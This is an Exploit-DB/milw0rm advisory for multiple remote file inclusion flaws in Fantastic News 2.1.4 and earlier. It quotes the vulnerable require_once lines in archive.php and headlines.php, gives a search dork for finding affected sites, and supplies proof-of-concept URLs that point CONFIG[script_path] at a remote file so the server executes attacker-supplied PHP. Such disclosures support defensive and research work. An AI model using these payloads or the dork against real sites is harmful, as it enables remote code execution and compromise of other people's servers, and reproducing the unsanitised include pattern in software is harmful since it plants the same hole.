Fantastic News <= 2.1.4 - Multiple Remote File Include Vulnerabilities

2006-12-27T00:00:00
ID EDB-ID:3027
Type exploitdb
Reporter Mr-m07
Modified 2006-12-27T00:00:00

Description

Fantastic News <= 2.1.4 Multiple Remote File Include Vulnerabilities. Webapps exploit for php platform

                                        
                                            +-------------------------------------------------------------------------------------------
+ Fantastic News &lt;== 2.1.4 (CONFIG[script_path]) Multiple Remote File Include Vulnerabilities
+-------------------------------------------------------------------------------------------
+ Vendor ............:  http://fscripts.com
+ Affected Software .: Fantastic News &lt;== 2.1.4
+ Download ..........: http://fscripts.com/download.php?file=1
+ Dork ..............: Powered by Fantastic News v2.1.4
+ Class .............: Remote File Inclusion
+ Risk ..............: High (Remote File Execution)
+ Found By ..........: Mr-m07 &lt;xp10[at]hotmail.com&gt; Yee7 Team &gt;- WwW.Yee7.com -&lt;
+-------------------------------------------------------------------------------------------
+ Vulnerable Code:
+ =&gt;&gt;archive.php
+
+ on line('s)  16,17,18,19
+  =&gt;&gt;          require_once($CONFIG['script_path']."config.php");
+  =&gt;&gt;          require_once($CONFIG['script_path']."functions/functions.php");
+  =&gt;&gt;          require_once($CONFIG['script_path']."functions/mysql.php");
+  =&gt;&gt;          require_once($CONFIG['script_path']."functions/template.php");
+
+
+ =&gt;&gt;headlines.php
+ on line('s)  16,17,18,19
+  =&gt;&gt;          require_once($CONFIG['script_path']."config.php");
+  =&gt;&gt;          require_once($CONFIG['script_path']."functions/functions.php");
+  =&gt;&gt;          require_once($CONFIG['script_path']."functions/mysql.php");
+  =&gt;&gt;          require_once($CONFIG['script_path']."functions/template.php");
+
+
+ Proof Of Concept:
+ http://[target]/[path]/archive.php?CONFIG[script_path]=http://localhost/a.txt?
+ http://[target]/[path]/headlines.php?CONFIG[script_path]=http://localhost/a.txt?
+
+
+
+
+-------------------------------------------------------------------------------------------
+Thanx To:
+ Yee7 Team http://www.yee7.com
+ Alshikh
+ ShockShadow
+ Mr.HaCkEr
+ StarseviL
+ AssassiN
+ Star Reach
+
+
+-------------------------------------------------------------------------------------------

# milw0rm.com [2006-12-27]